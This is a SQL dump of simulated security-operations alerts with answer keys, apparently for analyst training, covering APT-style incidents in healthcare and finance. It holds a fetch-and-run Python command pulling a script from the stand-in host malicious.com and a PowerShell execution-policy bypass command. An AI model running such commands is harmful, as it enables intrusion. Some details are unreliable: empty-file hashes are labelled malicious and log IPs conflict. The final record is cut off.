INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1772, 'APT29 Zero-Day Exploit on EHR System', 'critical', 'Anomali', 'A zero-day exploit was used against the Electronic Health Records (EHR) system, leading to unauthorized access to sensitive patient data.', 'Malware', 'T1210', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:12:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.25\",\"dst_ip\":\"10.0.0.10\",\"username\":\"unknown\",\"hostname\":\"ehr01\",\"command_line\":\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\"http://malicious.com/exploit.py\\\").read())\'\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT29 zero-day exploits\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\"http://malicious.com/exploit.py\\\").read())\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution detected using zero-day exploit\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised EHR server\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The zero-day exploit was successfully executed, compromising the EHR system and allowing unauthorized access to patient data.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.259Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:12:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.25\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"ehr01\\\",\\\"command_line\\\":\\\"/usr/bin/python -c \'import urllib2; exec(urllib2.urlopen(\\\\\\\"http://malicious.com/exploit.py\\\\\\\").read())\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1773, 'Fancy Bear DGA Domain Communication Detected', 'high', 'MISP', 'Detected DNS requests to a DGA domain associated with Fancy Bear\'s malware infrastructure, indicating possible infection.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:23:56Z\",\"event_type\":\"dns_request\",\"src_ip\":\"10.1.1.50\",\"dst_ip\":\"93.184.216.34\",\"username\":\"svc_user\",\"hostname\":\"client01\",\"domain\":\"xyxqwe123.biz\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"xyxqwe123.biz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain generated by DGA linked to Fancy Bear\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected client machine\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware using DGA for C2 communication\"}}],\"expected_actions\":[\"block_domain\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The DGA domain is linked to Fancy Bear\'s infrastructure, indicating a potential malware infection on the client machine.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.262Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:56Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.1.1.50\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"svc_user\\\",\\\"hostname\\\":\\\"client01\\\",\\\"domain\\\":\\\"xyxqwe123.biz\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1774, 'Suspicious Login Attempt from Known IP Range', 'medium', 'Wazuh', 'Multiple login failures were detected from an IP range known for benign network scans, potentially triggering a false positive.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:17:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.0.50\",\"username\":\"admin\",\"hostname\":\"gateway01\",\"failed_attempts\":10}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with benign scanning activities; no malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted gateway\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Despite the failed login attempts, the source IP is known for benign activities and does not indicate a true threat.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:57:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:56:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:55:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"},{\"timestamp\":\"2026-03-15T20:54:16.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:17:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"gateway01\\\",\\\"failed_attempts\\\":10}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1775, 'Cozy Bear Process Hollowing Attack', 'critical', 'Splunk', 'Detected a process hollowing attack on a healthcare network server, likely linked to Cozy Bear\'s recent campaigns.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:50:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.75\",\"dst_ip\":\"192.168.5.76\",\"username\":\"svc_process\",\"hostname\":\"server03\",\"command_line\":\"powershell.exe -exec bypass -file C:\\\\temp\\\\malicious.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-03-15 19:56:28', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to process hollowing malware used by Cozy Bear\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -exec bypass -file C:\\\\temp\\\\malicious.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process execution using PowerShell bypass technique\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.5.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected server\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process hollowing technique is consistent with Cozy Bear\'s known TTPs, indicating a serious compromise.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.265Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:50:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.75\\\",\\\"dst_ip\\\":\\\"192.168.5.76\\\",\\\"username\\\":\\\"svc_process\\\",\\\"hostname\\\":\\\"server03\\\",\\\"command_line\\\":\\\"powershell.exe -exec bypass -file C:\\\\\\\\temp\\\\\\\\malicious.ps1\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1776, 'APT41 Spear-Phishing Attempt with Malicious Attachment', 'high', 'MISP', 'A spear-phishing email was detected targeting finance employees with a malicious Excel attachment that exploits a zero-day vulnerability.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"FIN-EXCH-01\",\"email_sender\":\"hr@fakedomain.com\",\"subject\":\"Urgent: Q1 Financial Report\",\"attachment_name\":\"Financial_Report_Q1.xls\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"hr@fakedomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain involved in multiple spear-phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Excel zero-day exploit\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious IP and included a file hash associated with zero-day exploits.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.267Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"FIN-EXCH-01\\\",\\\"email_sender\\\":\\\"hr@fakedomain.com\\\",\\\"subject\\\":\\\"Urgent: Q1 Financial Report\\\",\\\"attachment_name\\\":\\\"Financial_Report_Q1.xls\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1777, 'Lazarus Group Using Discord for C2 Communication', 'critical', 'ThreatConnect', 'Lazarus Group has been detected using Discord as a C2 channel to control malware on compromised financial systems.', 'Data Exfil', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"198.51.100.2\",\"username\":\"asmith\",\"hostname\":\"FIN-SERV-09\",\"domain\":\"discordapp.com\",\"url\":\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\"}', '2026-03-15 19:56:52', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP linked to C2 infrastructure for Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for C2 communication by known APT group\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"discordapp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Domain frequently used in benign and malicious activity\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The network traffic indicates data exfiltration via Discord, associated with the Lazarus Group.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, 